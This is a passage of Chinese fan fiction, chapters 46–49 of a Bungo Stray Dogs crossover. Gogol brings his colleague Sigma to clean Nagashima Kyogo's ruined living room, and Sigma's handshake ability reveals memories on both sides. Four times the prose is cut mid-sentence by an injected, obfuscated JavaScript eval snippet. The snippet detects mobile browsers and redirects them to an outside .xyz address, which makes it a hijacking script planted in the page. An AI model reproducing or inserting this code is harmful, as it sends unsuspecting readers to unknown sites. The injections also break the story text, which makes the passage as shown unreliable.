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果戈里叹了口气：“唉，长岛，你这个人一点乐趣都没有。”他啃完了最后一口贝果，说，“好吧。反正我是过来找你打游戏的，你家客厅都成那样了，我们怎么打游戏？” 长岛京悟又想起自己一直在逃避的客厅。因为无语他只好干巴巴地笑一声，说：“我也不知道，电视好像也不能用了，还好我的switch放在我房间充电还能用，你的存档还在，不用从头开始打。” 果戈里说：“那这样吧，我找个人帮你收拾客厅，然后我们现在去买一个电视和一个沙发。不然你和你挚友今晚就得挤一张床了。” 46.三百六十行，行行出状元 长岛京悟狐疑地看了果戈里一眼，他不相信这个小登会这么好心。上一次果戈里灵光一闪的结果直接导致赤井秀一无家可归，他不知道这一次的结局会不会轮到他流落街头。 果戈里仿佛看穿了他的疑虑，摆摆手，一副胸有成竹的样子：“你放心，我不是说过我有好几个同事吗？有一个现在经营着一家豪华酒店，处理这类事情简直信手拈来。” 长岛京悟有些犹豫：“……让一个酒店经理过来当家政是不是有点大材小用了。” 果戈里：“没事的，他从出生到现在最喜欢干的就是这个。我这就给他打个电话，你顺便叫辆车，咱们去最近的宜家。” 。 长岛京悟点点头，转身去打车。 他其实并没有多少尊严可言地心动了。 毕竟，收拾那一片惨不忍睹的客厅简直是一项不可能完成的任务。如果果戈里愿意找人帮忙，哪怕背后有点小算盘，他也决定睁一只眼闭一只眼。再说了，在美国请家政服务可不便宜，而他长岛京悟这辈子都没有体验过“豪华酒店经理亲自上门打扫卫生”这种贵族待遇。抱一下有钱人的大腿，顺便涨涨见识，好像也没什么不对。 他一边默默给自己做着心理建设，一边尽量忽略一些让他隐隐有些不安的逻辑漏洞。比如—— 果戈里是恐怖分子，他的挚友是恐怖分子，那他的同事自然也是恐怖分子。 赤井秀一得到的资料里只简单提到果戈里是一个拥有强大异能力的通缉犯。而他和长岛京悟都不知道的是，果戈里并不是一个人在战斗。他隶属于一个全部由强大异能力者组成的恐怖组织，名字也很文艺，叫“天人五衰”。 从这个名字里就能大致推出，这个组织一共五个人。在果戈里的眼里，这个组织除了他自己和挚友陀思妥耶夫斯基，剩下两个无关紧要的人，还有一个叫做“西格玛”的有趣玩意儿。 西格玛的身世可以用两个字概括：离谱。 他在某种程度上甚至不能被简单归类为“人类”，更像是一种完全由异能力构建出的生命体。果戈里倒不觉得这是什么值得大惊小怪的事。他也不认为这让西格玛变得比普通人低等或特殊，纯粹出于一种科学唯物主义的角度，觉得他大概应该用个不同于“人类”的代词。 此时，西格玛正站在他的办公室——一艘巨大的飞艇上。飞艇里面是庞大的、可以容纳两万人的空中赌场，以及配套的餐厅与豪华酒店。这两天，这架飞艇恰好盘旋在离伯克利不远的拉斯维加斯上空。赌场内部金碧辉煌，灯光如流动的星河，空气中弥漫着奢靡与危险的气息。霓虹灯下，赌徒们沉醉在金钱的旋涡中。 西格玛站在巨大的落地窗前，俯瞰着纸醉金迷的拉斯维加斯，手里端着一杯早已冷却的黑咖啡。他身后的办公桌上堆着一座堪比小山的文件，总共两万多份，记录着所有赌场客人的详细信息。 他是一只上进的、自力更生的牛马。 西格玛认为这个赌场是他真正的归宿，为了守护自己的赌场，他愿意做任何事情。作为一名对事业充满热忱的创业者，他给自己定下了一个小目标： “在一周内背下所有客人的资料。” 以方便他在处理各种突发事件时快速应对，保证赌场的高上座率。 这是他不眠不休的第五天，他已经成功背下了一万四千个名字、年龄、家庭背景和兴趣爱好。对于那些需要特别维护的VIP客户，他甚至能熟练倒背如流他们的资产状况、婚姻纠纷，乃至于宠物的名字。 他还剩下六千页要背，但是他一想到自己欣欣向荣的赌场，就好像有用不完的动力！ 西格玛一口闷掉杯底的咖啡，摇铃吩咐助手再给他来一杯冰美式，另加五份意式浓缩。 这时，他的手机响了。 。 西格玛脸上没有任何表情，机械般接起电话：“您好，这里是西格玛。” 电话里传来果戈里生命力旺盛的声音，像一只打了鸡血的鹦鹉：“西格玛！我这儿有件超有趣的事，你要不要一起来玩？” 西格玛平静地拒绝：“没时间，滚。” 果戈里叹气：“唉，你们都太无趣了。”他的语气放低，严肃起来，“我需要你来帮我获取一个情报，这个情报是挚友授意我来调查的。” 西格玛眉头微不可察地皱了皱。果戈里提到的“挚友”指的是他们的同事陀思妥耶夫斯基。西格玛虽然对果戈里这张嘴忍无可忍，但他对陀思妥耶夫斯基倒是心存敬意。他问：“陀思让你调查什么？” 果戈里问：“你还记得几周前，我们感受到的那场异能力波动吗？” 西格玛的呼吸急促起来。他握紧了手机：“那个异能者，你找到了吗？” 西格玛很少能与果戈里在观点上达成一致，但那次是为数不多的例外。他们得出了相同的结论：那是一种极其微妙、却十分令人震撼的异能力波动。 首先，尽管他们当时身处地球的两端，却 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14951651|158780||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在同一时刻感受到了那股力量的发动，这意味着那份力量的波及范围，足以影响整个世界。然而，“强大”这个词只能描述它广泛的覆盖范围，无法真正诠释其本质。真正让他们铭刻于心的，是那股温和得近乎飘忽的能量，仿佛只有极其敏锐的异能力者才能捕捉到的微妙波动。就像是一只蝴蝶轻轻扇动了一下翅膀，动作虽轻，却足以令他们同时起了一身鸡皮疙瘩。 他迫切地想知道，这份异能力的拥有者到底是个怎样的人。 ——更重要的是，那究竟是一种什么力量？他在这个世界上改变了什么？ 在电话的另一头，果戈里咧嘴一笑，带着几分恶作剧般的得意：“我找到他了。” 西格玛深吸一口气，冷静问道：“那你要我做什么？” 果戈里耸耸肩，语气轻松得像在说天气：“我怀疑他根本不知道自己有异能力，更别提怎么使用了。我观察他一段时间了，猜测这可能是一种被动发动的能力，但具体触发条件还不清楚。我本以为是情绪波动，但今天试了一下，似乎也不太对。” 他顿了顿：“总之，我需要你和他接触一下。用你的异能力，帮我们弄清楚他的能力到底是什么，又是如何发动的。” 。 西格玛沉默片刻，思考着任务的可行性。他的异能力可以在接触他人的瞬间，交换“彼此最想知道的情报”。换句话说，只要与目标握个手，他就能获得对方身上任何自己想要的信息，不过与此同时，对方也能得到最想要从他身上获得的信息。 他看了一眼自己剩下的六千页双面打印单行距A4纸，狠狠地吸了一大口刚刚手下送回来的冰美式pro max，叹了口气：“我的时间很紧，你确定我可以和他有肢体接触吗？” 果戈里信誓旦旦道：“那是当然的了，我保证你能碰到他。” 西格玛：“好吧，那我需要做什么准备？” 果戈里想了想，回答道：“你带个吸尘器，一把扫帚，一个拖把，几块抹布。再找两个壮实点的手下吧，我看这边还得搬点家具。” 西格玛：“……” 他怀疑自己听错了：“你给我安排的是什么身份？” 果戈里得意洋洋：“很高级的身份，你现在是一个生活残骸回收战略师兼居家生态重建顾问。” 西格玛：“……” 果戈里开心地说：“好了，就这么定了！你快点过来，我们今晚还要打游戏，过了今晚我就没时间了。” 47.逃避可耻但有用 西格玛带着一辆装满清洁工具的小推车，外加两个看起来像健身房里直接拽出来的壮汉，驾驶着他的飞船朝伯克利疾驰而去。 与此同时，长岛京悟和果戈里在宜家完成了采购。他们挑了一个比之前更大一点的沙发床，又拐到旁边的电器城，搬了一台超清大屏电视。这两样都是很占地方的东西，一辆网约车估计装不下。长岛京悟正想叫一个付费送到家的服务，果戈里摆摆手：“不用，这点小事我同事都能搞定。” 长岛京悟有点犹豫：“这是不是不太好……”堂堂一个五星酒店经理不仅亲自过来给他扫客厅，还要过来给他搬家具。这要说出去，他长岛京悟多少也是沾点财阀少爷那味了。 果戈里看上去很不在乎：“这算是什么不好意思的事情，我同事的飞船还蛮大的。”?? 长岛京悟：“……你同事的什么？” 果戈里理所当然地说：“飞船啊。他现在都这么出行，方便快捷。他过来应该也不远，刚刚还跟我发短信说他马上到。……哦，这不就到了吗。” 他随手一指对面的购物中心楼顶，一架看上去科技感爆棚的小型飞行器缓缓降落。它的造型极其超前，像是UFO和直升机的杂交体，圆鼓鼓的机舱配着一对流线型钢铁翅膀，比起科学的产物，它看上去更像是某个漫画家突发奇想画出来的离谱玩意。 长岛京悟揉了揉眼睛，试图确认自己是不是被果戈里的脑回路带得产生了幻觉。 ……起猛了，这年头天上都飞这种东西了？ 果戈里开心地朝那个飞船挥着斗篷。飞船里没人探出头，但机舱的门滑开了一条缝，伸出一只手，干脆利落地比了个中指。 果戈里看了一眼，恍然大悟地点头：“我同事说他一分钟后到。” 长岛京悟：“……我感觉他的意思不是这个。” 果戈里说：“那我就不知道了，现在小孩很难懂。”他说着就拉开斗篷，从里面拽出一个少年，动作熟练得就像在超市随手拎了一袋打折薯片。 被拎着后领揪出来的少年穿着和果戈里一样的白色西服，一头及腰长发，长相精致，表情却是冷淡到极点。显然，他对果戈里随时随地抓无辜同事的行为已经习以为常。他面无表情地抬起手，刚才购物中心楼顶模糊看到的中指，这次清晰无比、毫不含糊地正对着果戈里的脸重演了一遍。 果戈里慈爱地拍了拍他的头：“没事了，西格玛，你不用花一分钟跑过来了，我直接把你传送到这了，多省事呀。”然后他转过来，热情地给长岛京悟介绍：“这是我同事，西格玛。西格玛，这是长岛京悟，我目前的游戏搭子。” 。 长岛京悟看着西格玛，目光在那一头一半紫一半白的长发上停顿了片刻。他的好奇心顿时燃了起来，他好想知道西格玛的那头的长发是天生的吗，如果是染的话那得多久染一次啊？这种阴阳头看起来可太酷了。 西格玛依旧是一副淡淡的样子，他显然对果戈里的介绍方式并不满意，但又懒得纠正。他收回中指，随手理了理被揪乱的衣领，语气平淡得像在报天气：“你好，长岛京悟。”说着，他朝长岛京悟伸出手。 长岛京悟本能地回握，礼貌地回应：“请多多指教，西格玛先生。” 然而，就在两人的手掌相触的瞬间，一股奇异的感应顺着指尖传遍他的全身。长岛京悟的脑海里突然浮现出一副画面—— 一个呱呱坠地的婴儿西格玛。 但最让人精神污染的是，这个婴儿版西格玛居然是等比例缩小的版本，不仅穿着迷你版的白色小西装，还有和现在一模一样的头发，一半白一半紫，长度及腰……完全没有一点婴儿该有的正常模样。 婴儿西格玛出生后和其他婴儿一样啼哭了两声，然后一只苍白的手捂住了他的嘴。手的主人不耐烦地捏了捏他的脸，对旁边的人说：“尼古莱，在 ‘书’上加一句话：sigma never cry。” 一个熟悉的开朗声音传来：“好哦。” 画面定格在似乎是一阵沙沙的写字声后，西格玛立刻止住了号哭。他双手抱胸，面色冷淡，眼神坚定，半白半紫的长发在灯下闪着绸缎般的光泽。 长岛京悟：“……” 如果说他前半生犯了什么错，法律会惩罚他，而不是让他莫名其妙地看到这个诡异的迷你电影。更可怕的是，他的心里好像有种莫名的笃定，好像他就是知道这不是幻觉，而是一段真实的回忆，西格玛就是这么出生的…… 这，这科学吗？这显然不科学啊。 还有果戈里为什么在西格玛的出生现场啊？那个开朗的声音很明显是他的，而且听上去和现在差不了几岁。西格玛如今已经进入职场，果戈里他们公司算不算雇佣童工，他是不是应该去给他普及一下劳动法？ 而且为什么在一阵书写声之后西格玛就不哭了？他们口中的“书”是个许愿机吗？ 最重要的是，他为什么看到了这个回忆片段？ 。 另一边，西格玛的状态也没有好到哪里去。他和长岛京悟握手的时候，心里问的问题是很直接的“长岛京悟的异能是什么”。 西格玛的异能力无疑极其实用，他只需简单接触就能获取目标身上所有他想知道的情报。哪怕对方本人对此一无所知，只要记忆中存在相关的线索，这些碎片就会在一瞬间都涌入西格玛的大脑。 不过，在这个世界上，所有情报都有其独特的载体。 有些以文字形式存在，像是赤井秀一获取的关于果戈里与异能特务课的档案，经过筛选与精简，呈现为简要的纪事。有些则是音频，能够捕捉语气、停顿和背景噪音，哪怕是微小的声音变化，都可能隐藏着关键信息。还有的是静态图像，定格住某个瞬间的真相。 而在所有的载体里，最高等级的是影像。影像不仅承载着画面，还伴随着声音，捕捉着时间流动中的细节。微妙的表情变化、潜意识的肢体语言、对话间的微妙节奏，都是静态图像或文字无法完整呈现的动态信息。 西格玛获得的，便是影像。也就是说，依据他发动异能力时最渴望获取的信息，他会在一瞬间得到目标记忆中与此相关的所有回忆片段。而影像的冲击力远超其他形式，因为它不仅仅是画面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14957379|158780||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和声音的简单组合，更是一种饱含情绪、感官与氛围的完整体验。每一帧都渗透着当事人的恐惧、困惑、痛苦或喜悦，这种未经滤镜处理的真实感像洪水般涌入大脑，常常让他头晕目眩，甚至短暂失去思考能力。 ——这一次发动异能力，他一共看到了四个回忆片段。 第一个片段里的主角似乎是一个还很年轻的长岛京悟。他坐在一个看上去像是宠物诊所的手术室里。他面前是一只正在失去生息的萨摩耶。长岛京悟紧紧握着那只雪白的大狗的前爪。当萨摩耶缓缓闭上双眼的瞬间，他也跟着悲伤地阖上了自己的眼睛，眼角挂着未干的泪痕。 第二个片段里，他看到一个比现在更年长的长岛京悟。他坐在一间冷清的实验室里，身旁是一台显微镜。他面无表情地盯着实时显示着镜下细胞动态的屏幕，眼神空洞而疲惫。手机震动了一下，屏幕上弹出一封来自“S教授”的邮件，右上角的时间是凌晨两点二十八分。他很疲惫，很痛苦，也很迷茫。眼皮似乎在打架，他像放弃抵抗般缓缓闭上了眼睛。 第三个片段是长岛京悟站在一间昏暗的公寓里，正对面站着一个气息危险的黑衣男人。男人嘴角带着冷笑，手中的枪直指长岛京悟的额头。身后的门不知何时被几把飞刀钉死，彻底封死了退路。面对无法逃脱的绝境，长岛京悟的胸膛剧烈起伏，最后在生死未卜的恐惧中猛然合眼。 而最后一个、也是最长的回忆里，西格玛发现，长岛京悟的面前站着的是自己的同事果戈里。 长岛京悟的身边还有两个同伴，一个有着很少见的绿色头发，另一个人是黑色头发。果戈里少有地没有笑，在他英俊的脸上取而代之的是一种冷漠而疯狂的偏执。他的眼神如同刀锋般锐利，死死盯着长岛京悟黑发同伴的双眼，那种充满攻击性的神态让人不寒而栗。 西格玛心里一紧。 他很熟悉这种表情：那是果戈里开始发疯的信号。和果戈里共事多年，他早已习惯了这种危险的预兆。每当果戈里露出这种阴冷的神情，总意味着一场残酷的杀戮即将上演。 长岛京悟和他的同伴显然也察觉到了这一点。即便他们未必清楚果戈里的真实身份，但那种无法逃避的力量差距，就像空气中的沉重压迫感一样让人窒息。而不出西格玛所料的，长岛京悟再次选择了闭上眼睛，或许用这种方式可以逃避即将遇见的残酷未来—— 然而，就在他闭上眼睛的那一刻，果戈里的表情变了。 他微微皱眉，疑惑地扫视四周，仿佛感知到了某种异样。最终，他的视线定格在微微颤抖的长岛京悟身上，目光中掠过一丝若有所思的神色。他眯起眼，上下打量了长岛京悟一番，随后饶有兴趣地收起了猎杀的姿势。 这一段回忆最终停滞在长岛京悟再次睁开双眼的瞬间。那一刻，他看见果戈里的脸上浮现出笑容。西格玛再清楚不过，这那是一种扭曲的、发自内心的快乐笑容，也只会在果戈里发现了一个从未遇到过的有趣玩具时出现…… 西格玛余光瞥到兴致勃勃地看着他发动异能的果戈里，虎躯一震，像是触电一样收回了和长岛京悟握着的手。 48.有果戈里是西格玛的福气 西格玛对长岛京悟避之不及的样子像是看到了脏东西。长岛京悟有点迷茫地看了看他，又看了看旁边明显在吃瓜的果戈里，好像稍微明白了些许。 力的作用是相互的，光路是可逆的，这个世界上没有人能够不付出任何代价地达成自己的目的。这一点，作为一个生物物理学家的长岛京悟再清楚不过。他在内心推测，当自己看到了西格玛出生的回忆时，西格玛应当也看到了某些自己的回忆。 具体是什么回忆，他想，如果完全逆推的话，难不成西格玛也看到了自己出生时候的回忆？ 和西格玛不同，长岛京悟的出生肯定是很科学的。换句话说，他应该是光秃秃的，皱巴巴的，浑身上下一根毛都没有。而且他肯定在大声地哭，也绝对没有母亲对父亲说去码头整点魔法让kyogo never cry的诡异事件发生。 ……不过这好像也意味着，西格玛有可能把自己全身上下都看光了。 这下长岛京悟也僵硬了。他完全不知道该说什么好，只能恶狠狠地在心里鞭打果戈里这个小登。他不知道这件事是不是果戈里做的，但是退一万步来讲，果戈里难道就没有错吗？遇事不决骂老登，本来就是牛马的本能。 长岛京悟满脑子都是羞耻，西格玛也满脑子都是要离长岛京悟远点不能被果戈里迫害。两人下意识地各自后退一步，又尴尬地停住了。他们再看着对方同时张了张嘴试图说些什么，却不知道该从哪说起，一起悻悻地摸了摸鼻子。然后他们还同步率很高地互相表演了一遍挠头、干笑、插口袋望天，俗称人类无语行为一条龙。 长岛京悟内心莫名涌起一丝惺惺相惜。这样的正常人，真是久违了。 西格玛似乎也因此对他增加了一些好感。他清了清嗓子，说：“那我们开始工作了，长岛先生。” 他拍了拍手，长岛京悟看见他身后钻出两个彪形大汉，穿着笔挺的黑色西装，戴着墨镜。西格玛指了指长岛京悟身边将近两米宽的大电视，和一个至少有半个集装箱大的沙发床组件，两个猛男走上前来，一人一样货物，轻轻松松地扛在肩上就搬走了。 长岛京悟说：“……呃，您的下属，还蛮强壮的。有这么完美的工作团队，我相信您的生意一定红红火火，客人爆满。” 西格玛看上去很受用地点头。他看了看长岛京悟，表情欣赏。然后他转头对果戈里没什么好气地说：“搬上这两个大件的东西的话我的飞船上只能再坐一个人了，你打车走吧。” 果戈里不可置信地指了指自己：“我吗？”他的语气有些受伤，但他兴致勃勃的表情却弥补了这一点。西格玛对他毫无慈悲，冷漠地点了头。 长岛京悟赶紧说：“别，你们一起走吧，我没开过飞船，我不知道这个飞船到时候该停哪儿。”他不知道刚才看到的回忆是不是这些人的异能力，现在只想离果戈里和他的怨种同事远远的，“尼古莱知道我住哪里，你给他们指一下路，还有记得别违停飞船啊，在美国违停是会拖车……飞船的。” 。 西格玛的手下驾驶着飞船，他和果戈里坐在后排。没有外人在场，西格玛开门见山：“他在你面前发动过异能力吗？” 果戈里漫不经心地晃了晃腿，似乎在回忆。他说：“我确定。其实，一开始我甚至没注意到他。”他的声音轻快得像是在讲一个无关紧要的小故事，“当时他有一个叫高尾的同伴，也很有意思。我一度对他的眼睛产生了浓厚的兴趣，想把它挖出来看看构造。” 西格玛皱了皱眉。 果戈里继续说：“他们三个看上去都不怎么会配合，所以我完全起了杀掉他们的心思。”他说得云淡风轻，就像是在谈论空气，“然而就在我打算动手的时候，我感受到了那股熟悉的异能力波动——就是我们之前察觉到的那股力量，来源是长岛京悟。” 西格玛问：“是因为他发动了异能力被你察觉到，而正好这个人是陀思想要找的异能力者，你才放弃了杀掉他的想法吗？” 果戈里摘下自己的眼罩，手指若有所思地摩挲着边缘。他的绿色义眼在舱内的灯光下流光溢彩，看上去神秘又危险。沉思了片刻后，他缓缓道：“这很难说。或许是，或许不是。”他偏了偏头，“虽然我认可挚友的计划和理想，但我不认为长岛京悟有他想要的东西。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14964768|158780||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 西格玛沉默不语，等待他的下一句话。 果戈里轻快地说：“那种程度的力量对我来说，并不是多么棘手的障碍。如果我真的想杀他的话，他不会活着。他的异能力或许是某种精神控制能力，他改变了我的想法。不过，我并没有觉得他把异能力直接作用在我身上。” “——这个世界有无数种可能的走向，所有的事情都有数不清的发展方式。长岛京悟的异能力，似乎不是作用于某个特定的人，而是某种更广义的……某种影响整个‘因果’的东西。” 果戈里并没有问西格玛到底看到了什么，也没有试图从他这里套出更多关于长岛京悟的情报。相反，他单方面地交付了自己所掌握的信息，仿佛只是为了充实西格玛的认知，而不是为了从他身上交换什么。 如果换作任何一个正常人，这场对话会被归类为朋友间的普通交流，或者是同伴间的情报共享。但问题在于，如果把其中一个参与者换成果戈里，一切就顿时变得诡异起来。 西格玛盯着果戈里看了一会儿，最终移开了视线。?沉默了一阵后，他淡淡开口：“……这些情报，如果陀思问起来，我需要都告诉他吗？” 陀思妥耶夫斯基是一个极其智慧的人。西格玛毫不怀疑，他出来见果戈里的这件事情早已经传进了陀思的耳朵里。陀思的情报网极其强大，他牢牢地掌握着所有人的行踪，并由此作出缜密的计划。而被他注视着的所有人都会在不自觉的情况下成为他的棋子，按照他设定的步调前进。 西格玛不清楚果戈里的意图。他不想卷入果戈里偶尔发疯的游戏中，因为陀思至少讲道理，而果戈里根本没有道理可言。被陀思盯上，最多只是被利用，但是当果戈里被激怒，意味着被精准迫害，甚至被追杀到天涯海角。 果戈里似乎毫不在意，只是耸了耸肩：“陀思要是问你的话，你都可以告诉他。包括我刚才和你说的。”?他不知何时已经把眼罩戴回了原位，遮住了那只异色义眼。 西格玛冷冷地盯着他，久久没有说话。? “……那你可别忘记，我是问过你的。”半晌，他这样说。 49.你到底在燃什么啊？ 西格玛把飞船停在了长岛京悟公寓的顶楼天台上。他的两个手下麻利地搬下家具，而他自己则颤颤巍巍地推着清洁小推车，拖着疲惫的步伐跟在果戈里身后。 他们结束了一开始严肃的对话后，西格玛觉得连咖啡因都无法拯救他的困意，心想能不能趁着航行补个十分钟的觉。但他很快意识到，这是不可能的——在没有外部危险的时候，果戈里就是最大的危险。 作为一个天选小登，果戈里对他人状态变化的敏感度堪称精准狙击。他在察觉到西格玛的意图后，立刻肩负起了“让西格玛保持清醒”的神圣使命。在短短十分钟的航程里，他表演了三个魔术，唱了苏联国歌，又在狭窄的飞船过道上跳起了踢踏舞。 西格玛保持着面无表情的耐心，试图用意志力硬抗。但他发现，一旦他稍微闭上眼睛，果戈里就会开始晃他的肩膀、踹他的椅背，甚至把他塞进自己的斗篷里丢来丢去…… 最后，在发现一切物理攻击都无法让西格玛彻底清醒后，果戈里靠近脆弱的西格玛，压低声音，在他耳边恶魔低语： “西格玛！西格玛！听我说，万一我们现在掉进平行宇宙，你醒来发现我变成了你的直属上司，你该怎么办？” ……那种事情不要啊！ 西格玛一个激灵，狠狠地打了一个冷战，彻底告别了困意。 。 他们坐上电梯，下到十五楼，长岛京悟已经推开门等着了。他一边侧身让西格玛和他的手下进来，一边十分感激地说：“辛苦西格玛先生了。” 西格玛下意识说：“不客气……”然后他看到了长岛京悟的客厅。 西格玛站在门口，沉默了足足五秒。 他本以为长岛京悟是个有条理、理智、甚至可以称得上是冷静的人，但眼前的场景让他对这个认知产生了严重怀疑。 墙上赫然留下了被巨大冲击力撞出的裂痕，地板上布满了刮痕和碎裂的玻璃碴子，日落的光线透过窗户洒进来。茶几已经断了一条腿，沙发翻倒在一边，甚至角落里还有一个深深的拳印，像是有人徒手轰击墙面留下的痕迹。虽然整体上还算能住，但这里的氛围更像是一场激烈战斗刚刚结束的战场遗址。 西格玛的脸色难以形容，他缓慢地转头，看向果戈里。 果戈里倒是适应得很好，完全没有任何障碍地踏入房间，在一张断了一半的椅子上找了个还能坐的地方，把自己团成一团，晃着腿，随手捡起地上的什么零件在手里把玩，一副“这里不错，我挺喜欢”的样子。 西格玛看着这一切，终于忍不住问了出来：“……这是你干的？” 果戈里惊讶地说：“怎么可能？”他点了点地板，又朝墙角指了指，语气愉快地补充道：“这想必是长岛的挚友和不知道什么人打架打的。” 西格玛：“……” 他沉默了一下，觉得自己不该在这个细节上深究。毕竟，长岛京悟是他见过的唯二能和果戈里相处好几天还能活蹦乱跳的人。这样的人如果有什么高达一样的重装挚友，似乎也不是不可能的事情。或者说，不管长岛京悟有什么样的挚友，都不奇怪。 。 西格玛的成长经历告诉他，能和果戈里这种不能以常理揣测的家伙和平共处的人，只有两种可能： 第一种，是拥有异常庞大的理解力，如同陀思，一步步拆解果戈里山路十八弯的脑回路，并精准对接他的思维方式。 第二种……虽然很难以想象，但是或许可以让果戈里坠入爱河，为爱做个正常人。 西格玛曾怀疑长岛京悟是不是第二种可能性，所以之前才在飞船上试探果戈里对他的态度。毕竟，比起得罪陀思，他更不想招惹一个恋爱脑的小登，并被对方追杀大半个地球。 不过，果戈里刚才的态度很明确：他依然是一个混乱邪恶的乐子人。他完全没有想要保护长岛京悟的意思，还为了看戏非常果断地把他们的军师陀思妥耶夫斯基拖入局里。这说明他完全不爱。或者说，还好他不爱，不然在果戈里硫酸级别的情感输出下，长岛京悟估计也没有几天可活了。 当排除所有不可能的选项，剩下的就一定是真相。长岛京悟看上去柔柔弱弱，但他一定有什么常人不可及的本事。西格玛愿意相信果戈里刚才说的，长岛京悟虽然有着某种强大的异能，但是对此完全不知情，更不用说利用这个异能做什么坏事。既然用不了异能，再看看他挚友打架能打出堪比拆迁队来过的破坏程度—— 长岛京悟，极有可能是一个体术方面的强者！ ……说不定他把果戈里吊起来揍了一顿，自此把小登打得服服帖帖，不敢作妖。他实现了西格玛这辈子的夙愿，不禁让西格玛对他肃然起敬。 西格玛一向尊重强者，而此刻，长岛京悟的形象在他眼中已经无限拔高。一个能够在没有用异能的情况下成功驯服果戈里的男人，他的能力绝非凡俗。 他干活的动作都麻利了起来。 很快，他和他的手下便将客厅里的废物清理得一干二净。两个西装笔挺的手下又默契地扛起比人还要高的家具残骸，下楼丢垃圾，场面一度像是在进行一场地下势力的清扫行动。 长岛京悟站在客厅中央，看着这片一小时之前还处于半废墟状态的房间焕然一新，竟一时有些不知所措。他站了片刻，思索着如何表达自己的感激之情，最终做出了最朴素但最真诚的决定——他转身进了厨房，倒了三杯水，端到餐桌旁。 他拿起一杯，双手奉上，语气里带着真诚的感激：“实在太谢谢你了，西格玛先生！请用水。” 然而，西格玛看到这杯水，整个人仿佛受到了更大的冲击。他哪敢接？他猛地站直，腰板挺得比刚才干活时还要笔直，语气里带着毫不掩饰的敬意：“哪里哪里，和您为这个社会作出的贡献相比，我不过是出了小小的一份力。” 长岛京悟微微一愣：他还从来没被人这么郑重地感谢过。 他下意识地思考自己到底做了什么能让这位赌场经理如此动容，思来想去，似乎只有他长年的科研工作可以勉强对上号。 ——原来西格玛先生也喜欢科研并且有自己的见解。 想到这里，长岛京悟有些受宠若惊，连忙低头回了一个鞠躬：“您过奖了，我都不知道自己做了什么大事情，都是举手之劳，我真的不知道自己除了这个还能干些什么。” 西格玛的眼睛睁大了。 揍果戈里对他来说只是举手之劳，而除了揍果戈里，他甚至都不知道自己还能干些什么？！ 这是什么层次的强者？！ 西格玛心中掀起惊涛骇浪，脸上的敬佩之色更深了一层。他抬起头，看着眼前这位低调但深不可测的男人，觉得自己的腰必须再弯低一些，以此表达最深的敬意：“您太谦虚了，您的成就是多少人梦寐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14969390|158780||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 以求的，我这辈子一直梦想成为像您一样的人。” 长岛京悟瞬间展现出了东亚小孩受不起夸奖的传统美德。他被夸得一瞬间有些飘飘然，但本能地认为自己不配，于是也立刻跟着把腰弯得比西格玛还低，语气诚恳得不像话：“都是站在前人的肩膀上罢了，我也没有开创先河，只是整合了很多项技术，做了点微薄的工作。” ——果然，强者从不抱怨环境。 西格玛悟了。 果戈里的异能固然强大，但是人不能只靠异能战斗。 长岛京悟在不用异能的情况下，通过刻苦学习各项技能，让自己完全没有短板，从而掌控了局势，甚至轻松拿捏了果戈里。 这，才是强者的道路。 西格玛忽然意识到，自己不能停滞不前。虽然现在只是一个赌场经理，但他不能满足于现状。这个时代，风口都是交叉学科，他不能死磕赌场的综合服务，更要发掘客人的需求，提供个性化体验。 长岛前辈的言传身教证明了，他之前选择背下两万个客人的信息是正确的决定，还有六千页，他得赶紧回去继续背！ 他的目标，是成为赌场行业的长岛京悟。 西格玛猛地握住长岛京悟的手，语气坚定，眼神炽热：“您的教诲，我永生难忘！” 长岛京悟：“……？” 他还什么都没说，怎么就已经上升到人生教诲的程度了？ 但他来不及细想，西格玛已经迅速调整状态，立刻进入实战模式，指挥自己的手下安装沙发床、组装电视，三个人在客厅忙得热火朝天。不一会儿，长岛家的客厅就从“勉强能住”升级到了“干净又高级”，甚至连家具摆放都透着一种赌场贵宾室的精致感。 长岛京悟这回是真不知道该怎么感谢了。 